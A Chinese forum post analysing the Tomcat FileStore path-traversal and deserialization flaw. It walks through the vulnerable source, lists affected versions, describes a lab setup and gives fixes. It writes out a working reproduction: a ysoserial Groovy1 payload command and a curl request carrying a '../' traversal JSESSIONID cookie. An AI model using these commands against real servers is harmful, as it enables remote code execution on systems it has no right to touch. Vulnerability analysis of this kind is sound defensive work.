用户
搜索
  • TA的每日心情
    慵懒
    2020-6-15 20:25
  • 签到天数: 16 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    5

    主题

    11

    帖子

    316

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-11-20
    发表于 2020-6-12 17:47:14 01953
    本文原创作者Ybwh,本文属i春秋原创奖励计划,未经许可禁止转载!
    0x01 漏洞概述
    这次是因为错误配置和 org.apache.catalina.session.FileStore 的 LFI和反序列化漏洞引起的 RCE. 当配置了org.apache.catalina.session.PersistentManager 并且使用org.apache.catalina.session.FileStore 来储存 session 时, 用户可以通过org.apache.catalina.session.FileStore 的一个 LFI 漏洞来读取服务器上任意以 .session结尾的文件. 然后通过反序列化来运行 .session 文件.
    默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存. 而PersistentManager 会将不常用的 session swap out, 从而减少内存占用.
    此处使用Tomcat 10.0.0-M4 来做分析
    这里主要是FileStore 的 LFI 漏洞可以反序列化任意路径上的.session 文件, 如果同时存在 文件上传漏洞的话就是RCE 了.
    首先看FileStore 源码, 当用户请求里带有JSESSIONID 时 会运行存在问题的 load 方法
        public Session load(String id) throws ClassNotFoundException, IOException {
            // Open an input stream to the specified pathname, if any
            File file = file(id);
            if (file== null || !file.exists()) {
                return null;
            }
            Context context = getManager().getContext();
            Log contextLog = context.getLogger();
            if (contextLog.isDebugEnabled()){
                contextLog.debug(sm.getString(getStoreName()+".loading", id,file.getAbsolutePath()));
            }
            ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);
            try (FileInputStreamfis = new FileInputStream(file.getAbsolutePath());
                    ObjectInputStream ois = getObjectInputStream(fis)) {
                StandardSession session = (StandardSession) manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(manager);
                return session;
            } catch (FileNotFoundExceptione) {
                if (contextLog.isDebugEnabled()){
                    contextLog.debug("No persisted data file found");
                }
                return null;
            } finally {
                context.unbind(Globals.IS_SECURITY_ENABLED,oldThreadContextCL);
            }
        }
    load 会先将session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加
    .session 后缀 然而并没有验证文件的目录
        private File file(String id) throws IOException{
            if (this.directory == null) {
                return null;
            }
            String filename= id + FILE_EXT;
            File file = new File(directory(), filename);
            return file;
        }
    当文件存在时,系统会运行 org.apache.catalina.session.getObjectInputStream 方法
        protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException{
            BufferedInputStream bis = new BufferedInputStream(is);
            CustomObjectInputStream ois;
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            if (managerinstanceof ManagerBase) {
                ManagerBase managerBase = (ManagerBase) manager;
                ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
                        managerBase.getSessionAttributeValueClassNamePattern(),
                        managerBase.getWarnOnSessionAttributeFilterFailure());
            } else {
                ois = new CustomObjectInputStream(bis, classLoader);
            }
            return ois;
        }
    getObjectInputStream方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了.
    0x02 影响版本
    Apache Tomcat:10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to7.0.103
    0x03 环境搭建
    本次使用linux进行测试, 设置一个 Tomcat 服务
    1.  下载 Tomcat 10.0.0-M4
    2.  将文件解压之后放入 /usr/local/tomcat
    3.  修改 /usr/local/tomcat/conf/context.xlm, 添加Manager
    <Context>
        <!-- Default set of monitored resources. If one of these changes,the    -->
        <!-- web application will be reloaded.                                   -->
        <WatchedResource>WEB-INF/web.xml</WatchedResource>
        <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
        <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
        <!-- Uncomment this to enable session persistence across Tomcatrestarts -->
        <!--
        <Manager pathname="SESSIONS.ser" />
        -->
        <Manager className="org.apache.catalina.session.PersistentManager">
                <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
        </Manager>
    </Context>
    ·      这个directory 设置成什么都没有关系, 因为不过滤 ../
    4.  下载 groovy-2.3.9.jar
    5.  将groovy-2.3.9.jar 放入 /usr/local/tomcat/lib
    6.  执行 /usr/local/tomcat/bin/catalina.shstart 运行Tomcat
    2.png
    0x04 漏洞复现
    目标是在服务器上执行 touch /tmp/2333 假设.session文件已经被上传到服务器的已知位置.
    1.  下载 ysoserial 一个生成java反序列化 payload 的 .jar 包
    2.  执行 java -jarysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" >/tmp/test.session 生成 payload
    3.png
    3.  执行 curl'http://127.0.0.1:8080/index.jsp' -H 'Cookie:JSESSIONID=../../../../../tmp/test'
    4.png
    虽然有报错但是反序列化已经执行了
    4.  执行 ls /tmp 查看结果
    5.png
    0x05 修复方式
    对比Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证
    6.png
    修复方式就是升级,或者配置WAF, 过滤掉../之类的字符串,或者不使用 FileStore

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册